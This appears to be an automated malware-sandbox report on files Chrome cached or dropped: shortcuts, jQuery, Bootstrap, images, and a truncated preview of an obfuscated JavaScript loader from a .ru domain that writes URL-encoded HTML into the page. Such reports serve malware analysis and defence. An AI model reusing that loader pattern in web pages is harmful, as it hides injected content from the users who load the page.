).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Apr 19 13:56:17 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.978307539041923
Encrypted:	false
SSDEEP:	48:8hfdlTtpjUHUidAKZdA19ehwiZUklqehpy+3:8h3njLOy
MD5:	483F9CCC5F1FA6A85E2DC3F20968124B
SHA1:	C7AB287DC445A0DFE6AB49B35653111284ACDCEC
SHA-256:	22289B3C083080402FBD7E2B00EA4021630117C0A31E492B71562230FC78A43B
SHA-512:	3D2E88E00ED9E303AC2E2BC353EC9B2AFE3B1F6FF227F4D785DE42A3D0AFEFAB043FB2F349B23209C2FC58E0D8F1377C85FAB9FB36482425A4962F8B2EC1E05E
Malicious:	false
Preview:	L..................F.@.. ...$+.,....X.r.i...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X.v....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.w....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.w....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.w..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.w...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........8..-.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Apr 19 13:56:17 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.994486538269362
Encrypted:	false
SSDEEP:	48:84dlTtpjUHUidAKZdA1weh/iZUkAQkqeh+y+2:86nj59QDy
MD5:	EF4A3BFB3B3C069CD92CDD1B123DA818
SHA1:	97ED54FF36ED5A9D8EEB122A67A59735A6854295
SHA-256:	886D361D7518A4C6FBD66D5DDE2873BAA8F6F19085A0B93E9CD6622A9D51BB0C
SHA-512:	9D1ED12EEC9407512E348A66F895F4A9231CBD1314AA94EF7B40F59881F707DA5313C7C556A7E659664A631D756546271B6EDD8820BCA1D0C7B08FCC55CB19B9
Malicious:	false
Preview:	L..................F.@.. ...$+.,......g.i...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X.v....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.w....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.w....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.w..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.w...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........8..-.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.006868085289721
Encrypted:	false
SSDEEP:	48:8xUdlTtpjsHUidAKZdA14tseh7sFiZUkmgqeh7s4y+BX:8xenjhnyy
MD5:	8D4F2FA106E2A95F152A0A39EDE40771
SHA1:	B4AE378AC209AFDB8D86D8C527328F4403E6401F
SHA-256:	A25CC7B8DD41773C552C5F8703421BF82A79A2909DFE6E2FA1FDE27F499EC326
SHA-512:	F9E851B5F98C346AF65C94E6389C521A3019B7DEA776812BF40D978EC3D710CCE25B4EAB38FD51983E9D2D159AF5AB745607E9C394E25277AF9C8ECE3DA1C508
Malicious:	false
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X.v....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.w....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.w....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.w..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........8..-.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Apr 19 13:56:17 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.991808058374834
Encrypted:	false
SSDEEP:	48:8CdlTtpjUHUidAKZdA1vehDiZUkwqehqy+R:8Mnjawy
MD5:	2B3D16C853FE16A6E5953DA827FA8826
SHA1:	F7F5B89104BDE7CFC4AD57A3FA5B9D53FE5BA648
SHA-256:	9E8E2DED746905603A90AFF255D1A6F3556D40BA1B34209F804A5B339827D2A6
SHA-512:	C9F2AAC9888705F6B806BBB22EE3E9BC88D8C8838F75B87FDD175434233BB5D3DD9D3FC6DE94746676E91233C7CABC1A858B0EC25735ED813231F15EFFE74140
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....L_.i...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X.v....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.w....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.w....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.w..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.w...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........8..-.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Apr 19 13:56:17 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9812678693613104
Encrypted:	false
SSDEEP:	48:8DdlTtpjUHUidAKZdA1hehBiZUk1W1qehcy+C:8Dnja98y
MD5:	C768E06DD98F8BB878EDB16891A2E9D1
SHA1:	C0CF2B3EC30D85FD686904AE241D0748C548A02F
SHA-256:	56EA61BC2C767D1A5170DBC330AE6712842364E7B926C3D65992DCA1494AFCB1
SHA-512:	7131799531DA5E7D15F6BAC123C504BA021E56FAAB47293B947E1C2202520035552504C4ACB01CF40D0CB3A79E26B8E3155D21DB4BC1091A8D2950E789DDA832
Malicious:	false
Preview:	L..................F.@.. ...$+.,......l.i...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X.v....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.w....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.w....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.w..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.w...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........8..-.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Apr 19 13:56:17 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.993051582079921
Encrypted:	false
SSDEEP:	48:8WdlTtpjUHUidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbyy+yT+:8YnjkT/TbxWOvTbyy7T
MD5:	9D0EE32A012ADE914B92CC8C63AB9F81
SHA1:	4C63146C7ABEF6DB8E290C7A3C981EB3816A2EDA
SHA-256:	BCE8124A5342FF85F0A899FEBF114C92905DF5E1E29C0F3154CDBE288ADABDBF
SHA-512:	9FFA4269D157478AA1BFBD0D3D6D58149D4AA204D24FDFACF41C0D6DFF47030FBFDD8547D64A0D915635066E3F4282B95162D3A22FD137A60A14BFB25A972D97
Malicious:	false
Preview:	L..................F.@.. ...$+.,....f.S.i...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X.v....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.w....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.w....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.w..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.w...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........8..-.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 222

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32030)
Category:	downloaded
Size (bytes):	86709
Entropy (8bit):	5.367391365596119
Encrypted:	false
SSDEEP:	1536:9NhEyjjTikEJO4edXXe9J578go6MWXqcVhrLyB4Lw13sh2bzrl1+iuH7U3gBORDT:jxcq0hrLZwpsYbmzORDU8Cu5
MD5:	E071ABDA8FE61194711CFC2AB99FE104
SHA1:	F647A6D37DC4CA055CED3CF64BBC1F490070ACBA
SHA-256:	85556761A8800D14CED8FCD41A6B8B26BF012D44A318866C0D81A62092EFD9BF
SHA-512:	53A2B560B20551672FBB0E6E72632D4FD1C7E2DD2ECF7337EBAAAB179CB8BE7C87E9D803CE7765706BC7FCBCF993C34587CD1237DE5A279AEA19911D69067B65
Malicious:	false
URL:	https://code.jquery.com/jquery-3.1.1.min.js
Preview:	/! jQuery v3.1.1 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.1.1",r=function(a,b){return new r.fn.init(a,b)},s=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,t=/^-ms-/,u=/-([a-z])/g,v=function(a,b){return b.toUpperCase()};r.fn=r.prototype={jquery:q,constructor:r,length:0,toArray:function(){return f.call(this)},get:function(a){return null==a?f.call(this):a<0?this[a+this.length]:this[a]},pushStack:function(a){var b=r.merge(this.con

Chrome Cache Entry: 223

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48664)
Category:	downloaded
Size (bytes):	48944
Entropy (8bit):	5.272507874206726
Encrypted:	false
SSDEEP:	768:9VG5R15WbHVKZrycEHSYro34CrSLB6WU/6DqBf4l1B:9VIRuo53XiwWTvl1B
MD5:	14D449EB8876FA55E1EF3C2CC52B0C17
SHA1:	A9545831803B1359CFEED47E3B4D6BAE68E40E99
SHA-256:	E7ED36CEEE5450B4243BBC35188AFABDFB4280C7C57597001DE0ED167299B01B
SHA-512:	00D9069B9BD29AD0DAA0503F341D67549CCE28E888E1AFFD1A2A45B64A4C1BC460D81CFC4751857F991F2F4FB3D2572FD97FCA651BA0C2B0255530209B182F22
Malicious:	false
URL:	https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js
Preview:	/!. Bootstrap v4.0.0 (https://getbootstrap.com). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function r(){return(r=Object.assign\|\|function(t){for(var e=1;e<arguments.length;e++){var n=arguments[e];for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i])}return t}).apply(this,arguments)}e=e&&e.hasOwnProperty("default")?e.default:e,n=n&&n.hasOwnProp

Chrome Cache Entry: 224

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 9 icons, 256x256 with PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced, 32 bits/pixel, -128x-128, 32 bits/pixel
Category:	dropped
Size (bytes):	199448
Entropy (8bit):	6.229140009421522
Encrypted:	false
SSDEEP:	3072:ndS6GqPdiEG38q599999d98M99aqInTsevGZ73UPf1bVMhTdOKR2L5l8lyuC8c:n3dQWjiTdX
MD5:	3FF3FAE99693CAE7293CDB92F0781D2D
SHA1:	F1F8A0B4539D9BD819AA91AA57F11132968E16B3
SHA-256:	2EF05CF5EE8F394A6399077D91E12AE3ED7F7232336308BCC051FECA72D2D7B8
SHA-512:	48DA6830BF9C390E197F19801D5F1B60B6AF1EE211A344EEA6B3F64DDAADFEA0A1A0FF40CBB07D46A12BCC9E9C1A45F782B14F3159FDD2941C2056D9CC129E9D
Malicious:	false
Preview:	............ .............. .(...X...``.... .........HH.... ..T..(0..@@.... .(B......00.... ..%...... .... ............... .....(......... .h........PNG........IHDR.............\r.f....pHYs..........o.d.. .IDATx..y.]Gu'...zom-...bY^d....6........c........L&.0..d......\|~......aL .l.....l....{.{.....sN.m.w%....z...T.9.sj.u.y..y..y..y..y..y..y..y..y..y..y..y..y..y..y..y..y..y..y..y..y..y..y..y..y..y..y..y..y..y..y..y...<...O..c..nN.m#.7".W.......>3lj].P..eYm!.l....Y.g...05.S30]0.\|......].>...k..'!..`.?."%..>\'.a>.T..g...L.g!..?..\..:..B.......".k+.Fy..rU...7@h..M.MS...5...$..h.l.D.1b.{.e..#0...9bL.L.7.k......%.......[]...k...95~.@.e=}[j=}+...Z.w.Yw...^d].n.)..A..9)..S.S.....D.1\'u<R.P.D2s"... (.e.XEf.ST......x....xZw...>..$..aq...X..pQ..j."....S..........<.,.n.w..=..sM......\.._.;u......^.hi..."....m.Z.....J.tK..1..-.....L..B.[Y.<\.y....X.9.x.....s.......{.G.+.Y."./.8%`...X0j.L!..Gsrt.93q...../.....w..@...p..n......^4...Uk.....7....\|vc/.*..C.{J..s....

Chrome Cache Entry: 225

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	34316
Entropy (8bit):	7.908434852210479
Encrypted:	false
SSDEEP:	768:ALmmJYyc8KJjKwIbDYOcsijBor17ay3peF7oZz/L:A9+ycyUOg1or17z3cF7oZz/L
MD5:	A3CDFEAF028CF60D90337CE4BB1B632F
SHA1:	44F084707B89B3A999B9A58C06E872AC6CA909D3
SHA-256:	2F128C34E99F47C352178964FC87AF68352B7395984D68313BBA7A5B2647ABAA
SHA-512:	45E00D51DD36C11F610C4316DD843015AA40725A681ACA28614C892D8E0ACDC4AE9EB9F1FC4BDB3BCBB32E4F6F4047AB58C8959D05DBA16BCDACD62E5D5032A5
Malicious:	false
Preview:	.PNG........IHDR..............x......gAMA......a.....sRGB........ cHRM..z&..............u0...`..:....p..Q<....bKGD..............pHYs.................IDATx...w....?.......n`..6..G'..0.-.@....).$N .....BO.. !..&...s..lS.}..%....Iw.=..<.z....NZ.W...<.m#.....e.Rx..Z..^....Q..*...d..r..%..BH/ J.x....}?..7.... D...D.n..W.A..D..M....^@......B..!.z...X8...U....Et....!,...k%{..7w...\|.....0...H.....U.F.H./.\|<.Z..s.I4...B.....N.l....6...u+...R..,..^G...@M....5..Vg.=.....h..L...\|....=..$.....p...).........t.[..A....(.o8\|..]Cv.h.?@m....;.......=..;4{...w..=.,9.......H.L.D9$ .......itz.k...Bx'h8........}&7}.g.jH.Z.\|d..8..1.:q...F....^.=.=>.rw...29...{.yW........a`"4y$$&....B.0)............`....#@....gx..".^.c..gk. .ro......{........a...r: ......Y..d.pCXw..-.......r).x..xw.??.4b.S.(...c/7.`..FV^.g.m]..=.Hy...`...4..........Z.....s...d.^...N..R!CK=..#.-^5.ae#....{..fZ=..f....g.~......{..O.^.}o..SB...;^Jq\|.........5y..H.{.....B,...B..B.-.G.H....c/.O.....+

Chrome Cache Entry: 226

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65325)
Category:	downloaded
Size (bytes):	144877
Entropy (8bit):	5.049937202697915
Encrypted:	false
SSDEEP:	1536:GcoqwrUPyDHU7c7TcDEBi82NcuSELL4d/+oENM6HN26Q:VoPgPard2oENM6HN26Q
MD5:	450FC463B8B1A349DF717056FBB3E078
SHA1:	895125A4522A3B10EE7ADA06EE6503587CBF95C5
SHA-256:	2C0F3DCFE93D7E380C290FE4AB838ED8CADFF1596D62697F5444BE460D1F876D
SHA-512:	93BF1ED5F6D8B34F53413A86EFD4A925D578C97ABC757EA871F3F46F340745E4126C48219D2E8040713605B64A9ECF7AD986AA8102F5EA5ECF9228801D962F5D
Malicious:	false
URL:	https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css
Preview:	/!. Bootstrap v4.0.0 (https://getbootstrap.com). * Copyright 2011-2018 The Bootstrap Authors. * Copyright 2011-2018 Twitter, Inc.. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). /:root{--blue:#007bff;--indigo:#6610f2;--purple:#6f42c1;--pink:#e83e8c;--red:#dc3545;--orange:#fd7e14;--yellow:#ffc107;--green:#28a745;--teal:#20c997;--cyan:#17a2b8;--white:#fff;--gray:#6c757d;--gray-dark:#343a40;--primary:#007bff;--secondary:#6c757d;--success:#28a745;--info:#17a2b8;--warning:#ffc107;--danger:#dc3545;--light:#f8f9fa;--dark:#343a40;--breakpoint-xs:0;--breakpoint-sm:576px;--breakpoint-md:768px;--breakpoint-lg:992px;--breakpoint-xl:1200px;--font-family-sans-serif:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol";--font-family-monospace:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace},::after,::before{box-sizing:border-box}html{font-family:sans

Chrome Cache Entry: 227

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	315
Entropy (8bit):	5.0572271090563765
Encrypted:	false
SSDEEP:	6:pn0+Dy9xwGObRmEr6VnetdzRx3G0CezoFEHcLgabzjsKtgsg93wzRbKqD:J0+oxBeRmR9etdzRxGezZfCzjsKtgizR
MD5:	A34AC19F4AFAE63ADC5D2F7BC970C07F
SHA1:	A82190FC530C265AA40A045C21770D967F4767B8
SHA-256:	D5A89E26BEAE0BC03AD18A0B0D1D3D75F87C32047879D25DA11970CB5C4662A3
SHA-512:	42E53D96E5961E95B7A984D9C9778A1D3BD8EE0C87B8B3B515FA31F67C2D073C8565AFC2F4B962C43668C4EFA1E478DA9BB0ECFFA79479C7E880731BC4C55765
Malicious:	false
URL:	https://3245.tarafhaber.net/favicon.ico
Preview:	<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>404 Not Found</title>.</head><body>.<h1>Not Found</h1>.<p>The requested URL was not found on this server.</p>.<p>Additionally, a 404 Not Found.error was encountered while trying to use an ErrorDocument to handle the request.</p>.</body></html>.

Chrome Cache Entry: 228

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 64 x 64, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	194
Entropy (8bit):	5.854868388294599
Encrypted:	false
SSDEEP:	6:6v/lhPUAcfnDlH1b3SQbintJLegXTlC13g539Ucccdp:6v/7sA4/iQ2zXpv5NFccz
MD5:	92132CC114AAB45026CDEF7D58F5BE8B
SHA1:	8A7FAC4DAEB0F2946FA05C42E9132EAAF9167940
SHA-256:	31E89966F3F476A644D7B0D70E1537D232DDA17FA3B09A7F8A4C2CDBAA858555
SHA-512:	11EDABB16D8FCF22CCFBE74D4C06FAB06AC2252653384904543F5D068BD774B3BB775924E5F2EFC143FBE8402938A0968E846E3E905BF36496B0DFF2EA3EDFD6
Malicious:	false
Preview:	.PNG........IHDR...@...@............!PLTEGpL.P"...........R....P"...........'.....tRNS.....@.......IIDATX......0.....u............#V._1.......>...(..c....b.B..b..............dy.C.......IEND.B`.

Chrome Cache Entry: 229

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	68301
Entropy (8bit):	3.3663267426252235
Encrypted:	false
SSDEEP:	384:brGpxkhjq8eeS/x2y4SnG1nN8+WBiqCi2LpBrgQPTw5+Nrekrg1yfh:upxcq8eeS/x2jg16h
MD5:	4D80B4CAEB3409417B8084071F7CE77D
SHA1:	61266C6AD0841944AECDB73A7600E5C929D847A5
SHA-256:	17EE17D4915E2E8100AB92BEB71DCED61B1B6F494C432955E2953FC982FC3615
SHA-512:	2DB794348FE868A6F2CE5A2621D0270DCD683F37BAFF1597348619746D2262AB7274D4AF3E18F77DE620BD5F01A93AE85B4EAF4C658A274EC41836DBAC8CBC50
Malicious:	false
URL:	https://webeoption.ru/BLAKMAN-03-05.js
Preview:	var _0x173d89=_0x55e8;function _0x10cc(){var _0xec1631=['1695144DsYUcD','79863UEunCV','write','25281VAvQYv','6067bVKTvD','%3c%21%64%6f%63%74%79%70%65%20%68%74%6d%6c%3e%0d%0a%3c%68%74%6d%6c%20%6c%61%6e%67%3d%22%65%6e%22%3e%0d%0a%0d%0a%3c%68%65%61%64%3e%0d%0a%20%20%20%20%3c%73%63%72%69%70%74%20%74%79%70%65%3d%22%74%65%78%74%2f%6a%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3d%22%68%74%74%70%73%3a%2f%2f%61%6a%61%78%2e%67%6f%6f%67%6c%65%61%70%69%73%2e%63%6f%6d%2f%61%6a%61%78%2f%6c%69%62%73%2f%6a%71%75%65%72%79%2f%32%2e%32%2e%34%2f%6a%71%75%65%72%79%2e%6d%69%6e%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e%0d%0a%20%20%20%20%3c%73%63%72%69%70%74%20%74%79%70%65%3d%22%74%65%78%74%2f%6a%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3d%22%68%74%74%70%73%3a%2f%2f%63%6f%64%65%2e%6a%71%75%65%72%79%2e%63%6f%6d%2f%6a%71%75%65%72%79%2d%33%2e%31%2e%31%2e%6d%69%6e%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e%0d%0a%20%20%20%20%3c%73%63%72%69%70%74%20%74%79%70%65%3d%22%74%65%78%74%2f%6a%61%76%61%73%63%72%69%70%74%22%2

Chrome Cache Entry: 230

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 64 x 64, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	194
Entropy (8bit):	5.854868388294599
Encrypted:	false
SSDEEP:	6:6v/lhPUAcfnDlH1b3SQbintJLegXTlC13g539Ucccdp:6v/7sA4/iQ2zXpv5NFccz
MD5:	92132CC114AAB45026CDEF7D58F5BE8B
SHA1:	8A7FAC4DAEB0F2946FA05C42E9132EAAF9167940
SHA-256:	31E89966F3F476A644D7B0D70E1537D232DDA17FA3B09A7F8A4C2CDBAA858555
SHA-512:	11EDABB16D8FCF22CCFBE74D4C06FAB06AC2252653384904543F5D068BD774B3BB775924E5F2EFC143FBE8402938A0968E846E3E905BF36496B0DFF2EA3EDFD6
